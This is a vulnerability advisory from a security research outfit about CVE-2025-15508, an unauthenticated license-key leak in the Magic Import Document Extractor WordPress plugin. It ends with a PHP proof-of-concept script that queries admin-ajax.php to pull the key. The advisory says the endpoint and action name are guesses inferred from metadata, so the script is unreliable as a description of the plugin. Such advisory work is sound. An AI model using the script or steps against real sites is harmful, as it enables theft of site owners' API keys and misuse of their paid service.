Atomic Edge analysis of CVE-2025-15508 (metadata-based):
This vulnerability is an unauthenticated exposure of the site’s magicimport.ai license key via the Magic Import Document Extractor WordPress plugin. The exposure occurs through the `get_frontend_settings()` function and is visible in the page source on any page containing the plugin’s shortcode. The CVSS score of 5.3 reflects a low-impact information leak with high accessibility.
Atomic Edge research infers the root cause is a WordPress AJAX action or shortcode handler that registers a public function without proper authorization checks. The function `get_frontend_settings()` likely echoes or returns the license key as part of a JavaScript variable or HTML data attribute. This conclusion is inferred from the CWE-200 classification and the description of exposure via page source, not confirmed by code review.
Exploitation requires no authentication. An attacker visits any page on the site that contains the plugin’s shortcode. They view the page source (HTML) and search for the license key string. Alternatively, they could send a request to the AJAX endpoint directly if the function is registered via `wp_ajax_nopriv`. The exact endpoint is likely `/wp-admin/admin-ajax.php` with an `action` parameter matching a hook like `magic_import_get_frontend_settings`.
Remediation requires adding proper capability checks to the `get_frontend_settings()` function. The function should verify the user has appropriate permissions, such as `manage_options`, before returning sensitive data. If the data is required for frontend functionality, the plugin must sanitize the output to exclude the license key or serve it via a secure, authenticated endpoint only.
The impact is limited to disclosure of the site’s magicimport.ai license key. An attacker could use this key to make unauthorized requests to the external magicimport.ai service, potentially incurring costs or exhausting service quotas for the legitimate site owner. This exposure does not directly lead to site compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15508 - Magic Import Document Extractor <= 1.0.6 - Unauthenticated Sensitive Information Exposure
<?php
$target_url = 'https://example.com';
// Assumption 1: The plugin registers the vulnerable function via the 'wp_ajax_nopriv_' hook.
// Assumption 2: The AJAX action name is derived from the plugin slug and function name.
$ajax_action = 'magic_import_get_frontend_settings';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ['action' => $ajax_action]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "Potential license key data in response:n";
echo $response . "n";
// The response may be JSON or raw text containing the license key.
// Look for patterns like 'license_key', 'apiKey', or strings resembling an API key.
} else {
echo "Direct AJAX endpoint not found or blocked.n";
echo "Alternative method: Visit a page with the plugin's shortcode and view the page source.n";
echo "Search the HTML for strings like 'license_key' or 'magicimport.ai'.n";
}
?>
